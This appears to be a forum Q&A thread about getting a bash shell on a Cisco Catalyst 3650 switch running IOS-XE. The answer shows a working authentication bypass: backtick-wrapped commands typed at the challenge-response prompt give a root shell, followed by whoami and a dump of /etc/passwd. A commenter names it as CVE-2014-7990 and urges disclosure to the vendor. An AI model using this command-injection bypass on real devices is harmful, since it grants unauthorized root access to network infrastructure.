4
Catalyst-3650#request system shell
Activity within this shell can jeopardize the functioning of the system.
Are you sure you want to continue? [y/n] y
Challenge: 94d5c01766c7a0a29c8c59fec3ab992[..]
Please enter the shell access response based on the
above challenge (Press "Enter" when done or to quit.):
/bin/sh
Key verification failed

I remember being able to get through to the shell by entering something trivial like '/bin/sh' instead. I am sure it wasn't a dream but i clearly remember i didn't write it down because i'm foolish like that..

So how do i drop into bash from IOS-XE on a Cisco Catalyst 3650?

Switch Ports Model              SW Version        SW Image              Mode
------ ----- -----              ----------        ----------            ----
*    1 28    WS-C3650-24PS      03.03.03SE        cat3k_caa-universalk9 INSTALL
  • Did any answer help you? if so, you should accept the answer so that the question doesn't keep popping up forever, looking for an answer. Alternatively, you could provide and accept your own answer. – Ron Maupin Aug 10 '17 at 22:53
3
Switch#request system shell
Activity within this shell can jeopardize the functioning of the system.
Are you sure you want to continue? [y/n] y
Challenge: 438e1fd36da9cfdb61e655353a48bb9cf69f274ab2d2[..]
Please enter the shell access response based on the above challenge 
(Press "Enter" when done or to quit.):
`/bin/sh`
sh-3.2# uname -a
sh-3.2#
sh-3.2# uname -2323
uname: invalid option -- '2'
Try `uname --help' for more information.
#AHA SO WE HAVE STDERR, but not STDOUT..
sh-3.2# ls
sh-3.2# pwd
sh-3.2# whoami
sh-3.2# exit
exit
Key verification failed

Alright then, let's go again.

Switch#request system shell
Activity within this shell can jeopardize the functioning of the system.
Are you sure you want to continue? [y/n] y
Challenge: b577ea00feb8c833d725a85c6c53e1839ab9[..]
Please enter the shell access response based on the above challenge
(Press "Enter" when done or to quit.):
`bash 1>&2`
bash-3.2# uname -a
Linux localhost 2.6.32.59-cavium-octeon2.cge-cavium-octeon #1 SMP PREEMPT Fri May 10 11:48:14 PDT 2013 mips64 GNU/Linux
bash-3.2# ls
BinOS       config     hugepages  lic0        rommon_to_env  sys     webui
RP_0_0_cli  crashinfo  include    lic1        root           tftp
auto        dev        install    lkern_init  sbin           tmp
bin         drec0      isan       misc        selinux        ucode0
bsn         epc        issu       mnt         share          usr
chasfs      etc        lib        obfl0       space          var
common      flash      lib32      proc        spi            vol
bash-3.2# whoami
root
bash-3.2# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[..]
| improve this answer | |
  • Perhaps you already know this is CVE-2014-7990, which is bug id CSCur09815. Please disclose vulnerabilities to the vendor and coordinate public release with them. – Mike Pennington Nov 12 '14 at 17:53

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.